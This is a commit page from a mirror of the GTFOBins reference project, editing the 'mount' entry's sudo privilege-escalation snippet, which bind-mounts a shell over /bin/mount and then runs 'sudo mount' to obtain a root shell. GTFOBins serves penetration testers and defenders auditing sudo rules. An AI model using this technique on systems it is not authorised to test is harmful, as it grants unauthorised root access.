mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Improve mount
This commit is contained in:
parent
e50f44521e
commit
a00f689760
@ -1,8 +1,8 @@
|
||||
---
|
||||
functions:
|
||||
sudo-enabled:
|
||||
- description: bind mount bash to the mount binary, as mount is sudo enabled.
|
||||
- description: Exploit the fact that `mount` can be executed via `sudo` to *replace* the `mount` binary with a shell.
|
||||
code: |
|
||||
sudo mount -o bind /bin/bash /bin/mount
|
||||
sudo mount -o bind /bin/sh /bin/mount
|
||||
sudo mount
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user